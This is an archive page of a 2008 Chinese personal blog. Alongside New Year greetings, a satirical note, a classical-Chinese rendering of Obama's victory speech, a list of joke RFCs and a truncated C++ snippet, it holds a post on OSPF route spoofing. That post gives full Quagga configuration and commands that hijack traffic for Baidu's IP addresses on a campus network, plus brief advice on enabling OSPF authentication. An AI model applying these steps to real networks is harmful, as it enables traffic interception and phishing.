2008年12月31日星期三

诸位新年快乐|Happy New Year|皆様、新年おめでとうございます!


各位新年快乐

Happy New Year
诸君、新年おめでとうございます!

2008年12月19日星期五

不加密的OSPF路由寻找协议带来的安全问题

搬到新校区了,很欢喜,什么都很新,包括网络设备。某熊在搬到新校区以后,这里的网络一直在抽风,不是DHCP出问题,就是交换机死机,不然就是光缆被卡车撞断了……反正问题一大堆。在帮助网络中心解决这些问题的时候也积累了不少经验,同时也发现不少问题,其中最严重的一个问题就是学校的交换机使用了OSPF协议来进行路由寻址,但是OSPF没有加密,从而导致了对任意IP地址进行IP路由记录的篡改。而且这个操作不需要任何交换机或者路由器的登录权限。可谓是杀人放火,居家旅行的必备良药。
下面的篇幅,就是用来说明欺骗的原理,实现和预防机制。
=-=-=我是一条分割线=-=-=
原理篇:什么是OSPF
一下内容来自维基百科:

开放式最短路径优先(英文Open Shortest Path First,OSPF)是对链路状态路由协议的一种实现,隶属内部网关协议(IGP),故运作于自治系统内部。著名的迪克斯加算法(Dijkstra)被用来计算最短路径树。它使用“成本”作为路由度量。链路状态数据库用网络拓扑来创建,它在区域中的全部路由器上是等价的。

OSPF协议大概是在大型网络上使用最为广泛的IGP(Interior Gateway Protocol)协议。节点在建立邻接,接受连接状态宣告(link-state advertisement)之前,可以通过MD5进行安全验证。

一个OSPF网络可以被划分成更小的网络。其中,一个特别的区域(area)被称为骨干区域(backbone area),该区域是整个OSPF网络的核心区域,并且所有其他的区域都与之连接。所有的内部路由都通过骨干区域。所有的区域都必须连接到骨干区域,如果 不能建立直接连接,那么可以通过虚拟通道建立虚拟连接(virtual link)。

同一个广播域(broadcast domain)的路由器或者一个点对点(point to point)连接的两端的路由器,在发现彼此的时候,建立邻接(adjacencies)[1]。 同一广播网络或者模拟广播网络的点对点网络中的路由器会选举指定路由器(designated router, DR)和备份指定路由器(backup designated router, BDR),DR和BDR作为网络的中心负责路由器之间的信息交换从而降低了网络中的信息流量。OSPF协议同时使用单播(unicast)和多播(multicast)来发送Hello包和连接状态更新(link state updates),使用的多播地址为224.0.0.5和224.0.0.6。与RIPBGP不同的是,OSPF协议不使用TCP或者UDP协议而是直接使用IP协议。



简单来说,OSPF 就是用于路由器之间交换自己所在网络信息的协议,OSPF本身是支持安全认证的,但是由于管理人员的失误,我们学校的路由器并没有配置这种安全认证机制,这也就给我们留下了可乘之机。
欺骗的实现就是依靠OSPF的路由器寻找模式发送OSPF响应包,从而篡改目标路由器上的路由表

=-=-=-=-=下面是淫荡的欺骗过程的分割线=-=-=-=-=-=-
实现篇:
1:欺骗的条件
要实现欺骗,需要有以下条件:
1)一台支持OSPF的路由设备(软硬都可)
2)目标OSPF应该和你(欺骗用路由)在同一个网段。
3)目标路由应该没有使用OSPF认证,或者你可以得到相应的认证信息。

2:准备工作
我是用的是一台双网卡的linux主机做软路由,上面跑了支持OSPF的Quagga作为路由软件,eth1与目标路由(也就是我们上网的网关相连)IP地址为自动获取,eth2与内部网络相连,绑定了多个IP

root@bearice-ubuntu-server:~# ifconfig
eth1 Link encap:Ethernet HWaddr 00:40:45:0e:52:12
inet addr:172.21.204.65 Bcast:172.21.204.255 Mask:255.255.255.0
inet6 addr: fe80::240:45ff:fe0e:5212/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:2162021 errors:0 dropped:940 overruns:0 frame:0
TX packets:669879 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:196472110 (187.3 MB) TX bytes:565933427 (539.7 MB)
Interrupt:11 Base address:0x6e00

eth2 Link encap:Ethernet HWaddr 00:00:21:0e:22:f6
inet addr:192.168.100.200 Bcast:192.168.100.255 Mask:255.255.255.0
inet6 addr: fe80::200:21ff:fe0e:22f6/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1809604 errors:0 dropped:0 overruns:0 frame:127
TX packets:406894 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:153446129 (146.3 MB) TX bytes:323207532 (308.2 MB)
Interrupt:3 Base address:0x300

安装qugga的过程省略,网上有现成的文章,使用ubuntu仅仅需要apt-get install quagga就行了。
把把我的配置文件贴出来:

! /etc/quagga/zerba.conf
! Zebra configuration saved from vty
! 2008/12/18 00:19:21
!
hostname Bearice-Zebra-Router
password goodpassword
enable password goodpassword
!
interface eth1
ipv6 nd suppress-ra
!
interface eth2
ipv6 nd suppress-ra
!
interface lo
!
ip forwarding
!
!
line vty
!


! /etc/quagga/ospfd.conf
! Zebra configuration saved from vty
! 2008/12/18 00:19:21
!
hostname Bearice-OSPF-Router
password goodpassword
enable password goodpassword
!
!
!
interface eth1
!
interface eth2
!
interface lo
!
router ospf
ospf router-id 172.21.204.65
network 172.21.204.0/24 area 0.2.0.0
network 192.168.100.0/24 area 0.2.0.0
area 0.2.0.0 stub
!
line vty
!


上面的area id可以通过嗅探得到:

图中的area id就是目标路由器发送的OSPF Hello包中的ID

3:欺骗开始
配置好quagga以后,你的quagga就应该自动和目标路由建立连接了。telnet 本地的2604端口(也就是OSPFD的配置端口),就可以看到:

root@bearice-ubuntu-server:~# telnet 0 2604
Trying 0.0.0.0...
Connected to 0.
Escape character is '^]'.

Hello, this is Quagga (version 0.99.9).
Copyright 1996-2005 Kunihiro Ishiguro, et al.


User Access Verification

Password:
Bearice-OSPF-Router> en
Password:
Bearice-OSPF-Router# sh ip os ne

Neighbor ID Pri State Dead Time Address Interface RXmtL RqstL DBsmL
172.16.7.3 1 Full/DR 31.559s 172.21.204.254 eth1:172.21.204.65 0 0 0
Bearice-OSPF-Router#


实验性的,我选取了百毒作为此次试验的目标,首先得到百毒的ip:

root@bearice-ubuntu-server:~# nslookup www.baidu.com
Server: 202.103.224.68
Address: 202.103.224.68#53

Non-authoritative answer:
www.baidu.com canonical name = www.a.shifen.com.
Name: www.a.shifen.com
Address: 121.14.88.14
Name: www.a.shifen.com
Address: 121.14.89.14

恩,得到他的IP地址了,在我的机器上配置这个IP地址,修改/etc/network/interfaces

auto eth2:3
iface eth2:3 inet static
address 121.14.89.14
netmask 255.255.255.255
auto eth2:4
iface eth2:4 inet static
address 121.14.88.14
netmask 255.255.255.255

然后在ifup eth2:3和ifup eth2:4就可以了。
然后需要在ospfd里面配置这个网络地址,好让目标路由中存在我们这个路由记录:

root@bearice-ubuntu-server:~# telnet 0 2604
Trying 0.0.0.0...
Connected to 0.
Escape character is '^]'.

Hello, this is Quagga (version 0.99.9).
Copyright 1996-2005 Kunihiro Ishiguro, et al.


User Access Verification

Password:
Bearice-OSPF-Router> en
Password:
Bearice-OSPF-Router#
Bearice-OSPF-Router# con
Bearice-OSPF-Router# configure
Bearice-OSPF-Router# configure terminal
Bearice-OSPF-Router(config)# rout
Bearice-OSPF-Router(config)# router o
Bearice-OSPF-Router(config)# router ospf
Bearice-OSPF-Router(config-router)# network 121.14.88.14/32 ar
Bearice-OSPF-Router(config-router)# network 121.14.88.14/32 area 0.2.0.0
Bearice-OSPF-Router(config-router)# network 121.14.89.14/32 area 0.2.0.0

这样就完成了欺骗,等待几秒钟时间,让路由器更新路由记录,然后在另一台机器上进行测试:

C:\Users\Bearice>tracert 121.14.89.14

通过最多 30 个跃点跟踪到 121.14.89.14 的路由

1 1 ms 1 ms 1 ms 172.21.204.254
2 1 ms 1 ms 1 ms 172.16.7.254
3 2 ms 5 ms 9 ms 10.4.0.1
4 1 ms 1 ms 1 ms 219.159.104.129
5 2 ms 2 ms 2 ms 218.65.144.129
6 * * 16 ms 218.65.144.5
7 * 6 ms 6 ms 202.97.66.113
8 11 ms 12 ms 14 ms 202.97.66.125
9 24 ms 24 ms 25 ms 202.97.21.130
10 24 ms 23 ms 23 ms 202.97.44.9
11 28 ms 35 ms 35 ms 202.97.25.197
12 <1>tracert 121.14.89.14

通过最多 30 个跃点跟踪到 121.14.89.14 的路由

1 1 ms 1 ms 1 ms 172.21.204.254
2 <1>

我们看到目标IP的路由路径已经成功改变了。
在我的机器上架设了一个lighttpd服务器,然后加上一个www.baidu.com.的vhost.欺骗完成,效果如下:

值得一提的是:这种欺骗的效果不仅仅限于本子网内,所有与目标路由交换路由信息的路由器都会加入这条路由记录。
这种方法的危害是很大的,加入我欺骗的IP不是百毒的而是网银的,那么后果是十分严重的。
=-=-=-=-=下面讲讲预防的方式=-=-=-=-=
当初OSPF的设计者们显然也认知到了这个问题,所以OSPF协议是支持认证的,也就是只有使用同一个密印的路由器之间才能交换信息(当然加入你能嗅探到,或者得到其中某个路由的配置权限,这种加密等于白费)
所以加入你是网络管理员的话,配置路由器时要注意不要使用默认的OSPF设置,加个密码吧。

2008年11月23日星期日

嘿,今天你精神病了么?

由总后卫生部组织、北京军区总医院牵头制定的《网络成瘾临床诊断标准》近日通过专家论证,这意味着我国医学界诊断“网瘾”将实行标准 化.《标准》中有这样 一项量化的指标:平均每天连续使用网络达到或超过6小时,而且这种症状达到或者超过3个月.
----11月23日《人民日报》

恩,我参照了一下自己的症状,原来我是重度精神病患者唉……这下好了,以后杀人不犯法咯~咱是精神病,咱怕谁?


今天你精神病了么?

2008年11月17日星期一

[FWD]奥巴马胜选演说·文言版

〈奥巴马胜选演说·文言版〉

东东枪

Hello,Chicago!

芝城父老,别来无恙,

If there is anyone out there who still doubts that America is a place where all things are possible, who still wonders if the dream of our founders is alive in our time, who still questions the power of our democracy, tonight is your answer.

余尝闻世人有疑,不知当今美利坚凡事皆可成就耶?开国先贤之志方岿然于世耶?民主之伟力不减于昔年耶?凡存诸疑者,今夕当可释然。

It’s the answer told by lines that stretched around schools and churches in numbers this nation has never seen, by people who waited three hours and four hours, many for the first time in their lives, because they believed that this time must be different, that their voices could be that difference.

今夕之释然,皆蒙美利坚民众之协力——学塾祠庙之外,市井乡野之间,万千父老心焦似焚,苦待竟日,愿献一票之力。其中,平生未尝涉国事者,数亦不少,而今有此义举,皆因一念不衰——今夫天下,非同既往,愿发吁天之声,必成动地之势。

It’s the answer spoken by young and old, rich and poor, Democrat and Republican, black, white, Hispanic, Asian, Native American, gay, straight, disabled and not disabled. Americans who sent a message to the world that we have never been just a collection of individuals or a collection of red states and blue states. We are, and always will be, the United States of America.

今夕之释然,皆仰吾国同胞之齐心——何谈贫富老幼之差、党社宗族之异,惶论发肤肌体之别、志趣爱恶之分。吾国既以“合众”为名,吾辈则更无疏离之意,红蓝二党并肩而立,数十邦州挽手相合,无分你我,共称一家,昂然于世,齐声一呼,天下乃有此释然。

It’s the answer that led those who’ve been told for so long by so many to be cynical and fearful and doubtful about what we can achieve to put their hands on the arc of history and bend it once more toward the hope of a better day.

今夕之释然,皆因愤懑者之镇静,忧惧者之勇气,犹疑者之笃定——平素世间种种,消磨其志向,溃灭其梦想,而值此风云之际,除旧更新,当仁不让,倾力而动乾坤者,更何人哉!

It’s been a long time coming, but tonight, because of what we did on this date in this election at this defining moment change has come to America.

俟之诚久,其志弥坚。幸天地明察,乃有今日,乃有此刻,乃有此一选举,乃有我亿万美利坚大好国民——吾邦之大变革,方得自兹而始也!

A little bit earlier this evening, I received an extraordinarily gracious call from Sen. McCain.

Sen. McCain fought long and hard in this campaign. And he’s fought even longer and harder for the country that he loves. He has endured sacrifices for America that most of us cannot begin to imagine. We are better off for the service rendered by this brave and selfless leader. I congratulate him; I congratulate Gov. Palin for all that they’ve achieved. And I look forward to working with them to renew this nation’s promise in the months ahead.

倾接参议员麦君凯恩电,虽未得晤,幸有一谈,其言谆谆,其意诚诚,鄙人感佩之至。选战期内, 麦君劳碌几重,奔波几许,皆为国家计。诸般求索,时日良多,皆非余所能及。于国于民之惊人牺牲,亦非庸庸如吾辈者所可想见。以麦君之胆魄襟怀,能为吾邦所 用,实国家之幸,万民之幸也。前途漫漫,其事未竟,余所盼瞩由衷者,唯共麦凯恩君、佩林君,及诸贤士比肩,会吾等之绵力,成吾邦之大业。

I want to thank my partner in this journey, a man who campaigned from his heart, and spoke for the men and women he grew up with on the streets of Scranton and rode with on the train home to Delaware, the vice president-elect of the United States, Joe Biden.

乔君拜登,亦吾所感铭至深者也。竞选之业,艰险不足与外人道,幸有乔君之辅佐,其诚天可鉴之。乔君其人,素言恳辞切,意笃情真,盖尝经斯兰克顿街乡邻之提命,饱聆特拉华州父老之晤教也。他日余既登总统之位,乔君必当副之。

And I would not be standing here tonight without the unyielding support of my best friend for the last 16 years the rock of our family, the love of my life, the nation’s next first lady Michelle Obama.

拙荆米氏,追随鄙人凡一十六年,既为爱侣,更为挚友,既为吾阖家之基石,又乃余终生之至爱。鄙人尝自忖度,倘无贤妻若此,今朝阔论高谈于此处者,不知何人矣!

Sasha and Malia I love you both more than you can imagine. And you have earned the new puppy that’s coming with us to the new White House.

小女萨沙、玛丽,余素深喜之。昔日为父尝与汝等言,此番选战若得一胜,愿购小犬一头相赠,待阖家乔迁总统府邸之日,偕汝等同进吾宅。今当胜负已出,既有一诺在前,必自践行不欺也。

And while she’s no longer with us, I know my grandmother’s watching, along with the family that made me who I am. I miss them tonight. I know that my debt to them is beyond measure.

祖母大人虽已仙逝,料必有灵在天,俯察人寰,想应颔首开颜矣。吾奥巴马氏列祖列宗,亦当如是。今日今时,此情此景,鄙人追思之心,乌鸟之情,曷其有极!唯生死陌路,仙凡有别,虽怀反哺之心,而无答报之门也!

To my sister Maya, my sister Alma, all my other brothers and sisters, thank you so much for all the support that you’ve given me. I am grateful to them.

至若玛雅、艾玛二姐妹,以及吾家诸同胞,所惠我者,亦属良多,久沐恩德,此当拜谢。

And to my campaign manager, David Plouffe, the unsung hero of this campaign, who built the best — the best political campaign, I think, in the history of the United States of America.To my chief strategist David Axelrod who’s been a partner with me every step of the way.To the best campaign team ever assembled in the history of politics you made this happen, and I am forever grateful for what you’ve sacrificed to get it done.

大卫?普劳夫君,大卫?阿克塞罗德君,一为鄙人竞选事务之经理,一为鄙人国事韬略之智囊。余尝自喟叹,左右谋士,余所仰赖者,皆亘古未见之贤才。普阿二君,则更此中之翘楚。区区不才,有何德能,可得膀臂若此?当此功成之际,感荷之心,亦自拳拳。

But above all, I will never forget who this victory truly belongs to. It belongs to you. It belongs to you.

至于鄙人铭之肺腑,须臾不敢忘怀者,则诸位也。盖今日鄙人之胜绩,实诸位之胜绩,鄙人之荣光,实诸位之荣光!

I was never the likeliest candidate for this office. We didn’t start with much money or many endorsements. Our campaign was not hatched in the halls of Washington. It began in the backyards of Des Moines and the living rooms of Concord and the front porches of Charleston. It was built by working men and women who dug into what little savings they had to give $5 and $10 and $20 to the cause.

余素朴陋,虽有参选之心,并无必胜之志。谋事之初,银资乏匮,从者寥寥;起事之地,皆蔽寓荒斋,不在高阁;成事之基,无非寻常百姓,涓滴之献。

It grew strength from the young people who rejected the myth of their generation’s apathy who left their homes and their families for jobs that offered little pay and less sleep.

It drew strength from the not-so-young people who braved the bitter cold and scorching heat to knock on doors of perfect strangers, and from the millions of Americans who volunteered and organized and proved that more than two centuries later a government of the people, by the people, and for the people has not perished from the Earth.

今日之胜,有赖一众热血青年,抛其家,别其室,不辞其苦,不计其酬,矻矻于此——“国中青年 爱国之心已泯”之谬论,今可休矣!今日之胜,有赖壮志未已之诸前辈,无惧寒暑,行走奔波,劝说民众。今日之胜,乃数百万美利坚民众之胜,察其意,皆属踊跃 为国,观其行,处处谨严有序,足堪告慰二百年前开国之先贤——民有、民治、民享之政体,未尝动摇也!

This is your victory.

嗟夫!此实诸位之功也!

And I know you didn’t do this just to win an election. And I know you didn’t do it for me.You did it because you understand the enormity of the task that lies ahead. For even as we celebrate tonight, we know the challenges that tomorrow will bring are the greatest of our lifetime — two wars, a planet in peril, the worst financial crisis in a century.

余知诸君之意非在此一选举,亦非在鄙人一身。盖瞻前路之艰辛,益知此任非同小可也。虽今夕欢贺于此,而明朝酒醒,大患仍自当前,不容有怠——两地烽烟熊熊而起,四海之内纷纷而乱,金融业界惶惶而不得宁。

Even as we stand here tonight, we know there are brave Americans waking up in the deserts of Iraq and the mountains of Afghanistan to risk their lives for us.There are mothers and fathers who will lie awake after the children fall asleep and wonder how they’ll make the mortgage or pay their doctors’ bills or save enough for their child’s college education. There’s new energy to harness, new jobs to be created, new schools to build, and threats to meet, alliances to repair.

是夜,饮宴笙歌之声不绝于耳,而异邦大漠群山中,吾国大好青年,兀自苦戍边塞,惝恍竟夜,性 命尚未得安。吾国千万庶民,为人父母者,兀自惴惴难眠,所忧者,乃房宅所贷、病患之费、抚育之资也。至若吾国能源之耗,百业之兴,痒序之教,攻伐之术,怀 远之道,亦皆吾等忡忡挂怀者也。

The road ahead will be long. Our climb will be steep. We may not get there in one year or even in one term. But, America, I have never been more hopeful than I am tonight that we will get there. I promise you, we as a people will get there.

渺渺乎其远,如不可达,危危乎其高,若不可攀。朝夕岁月,焉得成就?余不揣愚钝,愿以四载韶华,付诸此业,胜算何如虽不可知,然昂扬必胜之奇志,成就伟业之壮怀,平生未之有也。君子一诺,其重何如,此地今夕,愿斗胆发一狂言——吾辈既在,其事必成!

There will be setbacks and false starts. There are many who won’t agree with every decision or policy I make as president. And we know the government can’t solve every problem. But I will always be honest with you about the challenges we face. I will listen to you, especially when we disagree. And, above all, I will ask you to join in the work of remaking this nation, the only way it’s been done in America for 221 years — block by block, brick by brick, calloused hand by calloused hand.

逶迤坎坷,份内之事。异见争端,料必有之。国中之政府,谅非无所不能者。余所秉承不移者,唯 忠信矣。倘有危难于前,必无欺瞒于世。诸君言论臧否,纵悖逆相左之议,余必当洗耳以聆。于此之外,更当恳请诸君,不吝心血,致力报效,以振吾美利坚重兴之 业。余亦别无他想,唯盼吾侪协力,延继吾国既肇二百二十一年之大统,汇涓滴之力,而成万世之业。

What began 21 months ago in the depths of winter cannot end on this autumn night. This victory alone is not the change we seek. It is only the chance for us to make that change. And that cannot happen if we go back to the way things were. It can’t happen without you, without a new spirit of service, a new spirit of sacrifice.

昔年冬日,余有志于斯,投身此业,屈指算来,倏然近二载矣。当此秋夜,追思反省,仍无溃退逃 亡之意。选战之胜,无非一役之功,余梦寐所思矢志所求者,非在乎此。溯源究本,此役之胜,不过革世变时一大好良机耳。倘止步于斯,垂手而待,或无诸君倾力 相援,则壮志丰功,无非泡影,诸般梦想,终必虚妄。

So let us summon a new spirit of patriotism, of responsibility, where each of us resolves to pitch in and work harder and look after not only ourselves but each other. Let us remember that, if this financial crisis taught us anything, it’s that we cannot have a thriving Wall Street while Main Street suffers. In this country, we rise or fall as one nation, as one people.

爱国之心,报国之念,吾人固有之,然逢今日之世,此心此念亦当一变——吾辈各执己业,益当各竭其力,各尽其命,非但为一己之利,而更期普世之荣。今岁,金融业界动荡多舛,细审观之,当可以之为鉴——实业之损,亦是金融之伤。可知,既在邦域之内,吾辈荣辱休戚,皆相与共矣!

Let’s resist the temptation to fall back on the same partisanship and pettiness and immaturity that has poisoned our politics for so long. Let’s remember that it was a man from this state who first carried the banner of the Republican Party to the White House, a party founded on the values of self-reliance and individual liberty and national unity.Those are values that we all share.

党争纷纭,阴谋卑鄙,愚鲁无知,皆腐蚀清白、惑乱政局之弊也,其缘由已久,余今愿与诸君协力,共灭除之。昔年曾有此郡先贤,执共和党之帜,而掌总统府之权。自强独立,自由统一等信念,皆斯人之所倡,亦吾辈之所宗。

And while the Democratic Party has won a great victory tonight, we do so with a measure of humility and determination to heal the divides that have held back our progress. As Lincoln said to a nation far more divided than ours, we are not enemies but friends. Though passion may have strained, it must not break our bonds of affection.

今岁选战,吾民主党人幸有一胜,然谦逊和合之心未尝少减。余素信服者,乃山河破碎之际,林肯总统之言——“既是至亲,终不为敌。虽弩张剑拔,而血脉未尝断,情义不少减。”

And to those Americans whose support I have yet to earn, I may not have won your vote tonight, but I hear your voices. I need your help. And I will be your president, too.

固然,仍有四方志士,不为鄙人所动,另有高明之选。虽终悭此一票之缘,然诸君高论,余亦声声在耳,字字在心。倘能得诸君之援手,鄙人幸甚。他日待余总而统之,亦必不另眼以待也。

And to all those watching tonight from beyond our shores, from parliaments and palaces, to those who are huddled around radios in the forgotten corners of the world, our stories are singular, but our destiny is shared, and a new dawn of American leadership is at hand.

吾邦民众,散居天下,各安其命,而其志一也。吾邦鼎盛之势,今已乍现锋芒。

To those — to those who would tear the world down: We will defeat you. To those who seek peace and security: We support you. And to all those who have wondered if America’s beacon still burns as bright: Tonight we proved once more that the true strength of our nation comes not from the might of our arms or the scale of our wealth, but from the enduring power of our ideals: democracy, liberty, opportunity and unyielding hope.

至于心怀叵测,与世人为仇、与天下为敌者,吾邦猛志常在,彼等必取灭亡。心思纯良,久慕大同 者,吾辈当倾力以助,鼎力相援。犹疑未定,不知吾自由之邦兴衰如何者,吾辈愿以今日盛况以告之——美利坚之所以谓之“美”者,非刀兵之强,金银之众,实民 主、自由、机遇、梦想之美也!

That’s the true genius of America: that America can change. Our union can be perfected. What we’ve already achieved gives us hope for what we can and must achieve tomorrow.

天自有道,地自有德,恩赋吾邦无上异禀——无他,唯变而已矣。美利坚变革不怠,合众国日趋尽善。当以过往先贤之伟绩,助吾侪今日之雄心,开子孙万世之辉光。

This election had many firsts and many stories that will be told for generations. But one that’s on my mind tonight’s about a woman who cast her ballot in Atlanta. She’s a lot like the millions of others who stood in line to make their voice heard in this election except for one thing: Ann Nixon Cooper is 106 years old.

今岁选战,多开亘古之先,屡传千秋佳话。感我至深者,亚特兰大之老妪安?尼克松?库帕也——库氏之一票,于数百万美利坚民众之选票无异,其所以引人称奇者,其人今岁高龄一百有六矣。

She was born just a generation past slavery; a time when there were no cars on the road or planes in the sky; when someone like her couldn’t vote for two reasons — because she was a woman and because of the color of her skin.

当其父辈之时,天道不彰,黑人为奴。库氏其生也不逢时,汽车尚不行于道,飞机未曾起于空,库氏既属黑人,又系女流,票选一事,概无瓜葛。

And tonight, I think about all that she’s seen throughout her century in America — the heartache and the hope; the struggle and the progress; the times we were told that we can’t, and the people who pressed on with that American creed: Yes we can.

今日今时,回溯库氏百岁之涯,但见吾邦先贤屡败屡战,且退且进,悲欣交集,甘苦杂陈。幸而正道存焉,壮志存焉,曰:吾辈既在,无所不能。

At a time when women’s voices were silenced and their hopes dismissed, she lived to see them stand up and speak out and reach for the ballot. Yes we can.

万马齐喑,其事堪哀,吾邦女界怒而起,愤而争,苦战不歇,历数十载。幸哉库氏,以百岁之高龄,终得亲见女流自立于世,重获天赋之权——吾辈既在,无所不能!

When there was despair in the dust bowl and depression across the land, she saw a nation conquer fear itself with a New Deal, new jobs, a new sense of common purpose. Yes we can.

当百业萧条,国人绝望哀鸣之际,库氏亲见吾美利坚出旷世之新政,挽狂澜于既倒,扶大厦之将倾,退畏惧之势,扶奋勇之心,终至人各有位,民心乃安——吾辈既在,无所不能!

When the bombs fell on our harbor and tyranny threatened the world, she was there to witness a generation rise to greatness and a democracy was saved. Yes we can.

当吾国良港遭袭,天下桀纣当道,暴政肆虐之时,库氏亲见豪杰群起,民主不衰——吾辈既在,无所不能!

She was there for the buses in Montgomery, the hoses in Birmingham, a bridge in Selma, and a preacher from Atlanta who told a people that “We Shall Overcome.” Yes we can.

蒙哥马利公车之罢辍,伯明翰城黑人之群起,塞尔玛城血雨腥风之事,库氏般般亲历。更曾亲聆亚特兰大传教之士振臂登高之呼——“吾等必胜!”诚哉斯言!吾辈既在,无所不能!

A man touched down on the moon, a wall came down in Berlin, a world was connected by our own science and imagination. And this year, in this election, she touched her finger to a screen, and cast her vote, because after 106 years in America, through the best of times and the darkest of hours, she knows how America can change. Yes we can.

俟科学昌明于世,创想通贯一时,既登广寒之阙,又溃柏林之墙。洋洋乎!有百年如是,乃见今岁选战中,库氏之一票。浩浩兮!一百零六载交锋更迭,方有美利坚今日之变革——吾辈既在,无所不能!

America, we have come so far. We have seen so much. But there is so much more to do. So tonight, let us ask ourselves — if our children should live to see the next century; if my daughters should be so lucky to live as long as Ann Nixon Cooper, what change will they see? What progress will we have made?

转眼兴亡过手,而今迈步从头。追昔抚今,不禁扪心而问——俟再历百年岁月,倘吾等后辈儿孙,亦有得享高寿如库氏者,复可见何等之变数?吾辈今日之功,他年可得而见之乎?

This is our chance to answer that call. This is our moment. This is our time, to put our people back to work and open doors of opportunity for our kids; to restore prosperity and promote the cause of peace; to reclaim the American dream and reaffirm that fundamental truth, that, out of many, we are one; that while we breathe, we hope. And where we are met with cynicism and doubts and those who tell us that we can’t, we will respond with that timeless creed that sums up the spirit of a people: Yes, we can.

所谓天命时运,莫过于此——当为吾邦万民造安身立命之业,为吾辈儿孙启各显雄才之门,为寰宇 各国创太平静好之世,为吾等壮志赋千秋不灭之元神。吾邦立国之本,必将光耀于天下。万千同胞,当如一人,一息尚存,梦想不灭。纵有世人旁观在侧,而疑窦生 焉,吾辈亦当以千秋不易之训共答之曰——吾辈既在,无所不能!

Thank you. God bless you. And may God bless the United States of America.

拜谢诸君。愿天佑吾民,天佑吾邦。

2008年11月14日星期五

Jokes From RFCs

一向是严肃的Internet标准制定者RFC也会开玩笑,事实上在数千的RFC文档里不缺乏恶搞式的幽默,似乎从1989年开始,每年的愚人节都会出台一个玩笑性质的RFC文档,而且有些玩笑(RFC 1149, 2322)事实上被人实现或者投入使用:
RfC 527 (1973)
ARPAWOCKY (看起来是一首诗?)

RfC 748 (1978)
Telnet Randomly-lose option (Telnet协议的随机丢失选项(估计作者是在抱怨当时网络丢包吧))

RfC 1097 (1989)
Telnet subliminal-message option (Telnet潜在信息选项?)

RfC 1149 (1990)
Standard for the transmission of IP datagrams on avian carriers
这个搞笑性很高:使用信鸽(或者其他鸟类)传输IP数据包的标准
而且这个RFC有好事者实现了,还不止一次:
The first implementation was B2P (back to Pigeons) April 2001 in Bergen, Norway. 用信鸽传递纸条,然后再OCR扫描进去的实现。
A later implementation (FiFly, March 2004, Israel) reached 2,27Mbit/s data transfer rate (very high latency, though) .用信鸽传递闪存芯片的实现
And a later one (April 2005) even higher throughput with adhesive surface-mounted carriers (SNAP = SNAil-based data transfer Protocol, 37 Mbit/s).这个是很囧的用蜗牛拉光盘小车的实现(谁说蜗牛就一定慢,以后不许抱怨网速和蜗牛一样慢)
下面的就不一个一个翻译了……太多了,造几个有代表性的翻译:

RfC 1216 (1991)
Gigabit network economics and paradigm shifts

RfC 1217 (1991)
Memo from the Consortium for Slow Commotion Research

RfC 1313 (1992)
Today's Programming for KRFC AM 1313 Internet Talk Radio

RfC 1437 (1993)
The Extension of MIME Content-Types to a New Medium

RfC 1438 (1993)
Internet Engineering Task Force Statements Of Boredom (SOBs)

RfC 1605 (1994)
SONET to Sonnet Translation

RfC 1606 (1994)
A Historical Perspective On The Usage Of IP Version 9 传说中的IPv9就是这个啦~天朝的科学研究,有兴趣的Google

RfC 1607 (1994)
A view from the 21st century

RfC 1776 (1995)
The Address is the Message

RfC 1882 (1995)
The 12-Days of Technology Before Christmas

RfC 1924 (1996)
A Compact Representation of IPv6 Addresses 吧ipv6地址压缩成Base85编码

RfC 1925 (1996)
The Twelve Networking Truths

RfC 1926 (1996)
An Experimental Encapsulation of IP Datagrams on Top of ATM IP包通过声音传输,嗯,通讯基本靠吼就是这个了

RfC 1927 (1996)
Suggested Additional MIME Types for Associating Documents

RfC 2100 (1997)
The Naming of Hosts

RfC 2321 (1998)
RITA -- The Reliable Internetwork Troubleshooting Agent

RfC 2322 (1998)
Management of IP numbers by peg-dhcp
RfC 2322 actually is being used successfully at hacking camps like HIP (Hacking in Progress) or the CCCamp. In a different area it is widely (and successfully) used: to handle frequency usage at clubs for RC model planes (cars, ships, ...)

RfC 2323 (1998)
IETF Identification and Security Guidelines

RfC 2324 (1998)
Hyper Text Coffee Pot Control Protocol (HTCPCP/1.0) 超文本咖啡壶控制协议

RfC 2325 (1998)
Definitions of Managed Objects for Drip-Type Heated Beverage Hardware Devices using SMIv2

RfC 2549 (1999)
IP over Avian Carriers with Quality of Service (支持QOS的IP over 信鸽协议- -||)

RfC 2550 (1999)
Y10K and Beyond 有两千年问题,自然也有一万年问题

RfC 2551 (1999)
The Roman Standards Process -- Revision III

RfC 2795 (2000)
The Infinite Monkey Protocol Suite (IMPS)
   This memo describes a protocol suite which supports an infinite
number of monkeys that sit at an infinite number of typewriters in
order to determine when they have either produced the entire works of
William Shakespeare or a good television show. The suite includes
communications and control protocols for monkeys and the
organizations that interact with them.
描述了一个支持无限只猴子坐在无限台打字机前以测试他们能否打出整部莎士比亚的作品或者是肥皂剧本的协议

RfC 3091 (2001)
Pi Digit Generation Protocol(圆周率生成协议,他们还能想出更加没用的浪费电能的方式么?)

RfC 3092 (2001)
Etymology of 'Foo' Foobar的来源(不是那个音乐播放器啦)

RfC 3093 (2001)
Firewall Enhancement Protocol (FEP)

RfC 3251 (2002)
Electricity over IP - Mostly Pointless Lamp Switching (MPLampS)
通过IP协议传送电能

RfC 3252 (2002)
Binary Lexical Octet Ad-hoc Transport (BLOAT)

RfC 3514 (2003)
The Security Flag in the IPv4 Header

RfC 3751 (2004)
Omniscience Protocol Requirements

RfC 4041 (2005)
Requirements for Morality Sections in Routing Area Drafts

RfC 4042 (2005)
UTF-9 and UTF-18
UTF-8不够用咯

RfC 4144 (2005)
How to Gain Prominence and Influence in Standards Organizations
(not sure about this one - real, valid content but not feeling RfC-ish)

RfC 4824 (2007)
The Transmission of IP Datagrams over the Semaphore Flag Signaling System (SFSS)
这次不用信鸽了,用旗语了么?那么我们是不是还能发明个用狼烟的?

RfC 5241 (2008)
Naming Rights in IETF Protocols

2008年11月6日星期四

C++表达式计算

又是给某人写的作业...

#include
#include
#include
#include
#include
#include
#include
using namespace std;
//栈内优先级
map isp;
//入栈优先级
map icp;
//分离表达式
list Tokenize(const string& str,const string& delimiters){
list tokens;
string::size_type delimPos = 0, tokenPos = 0, pos = 0;
if(str.length()<1) return tokens;
while(1){
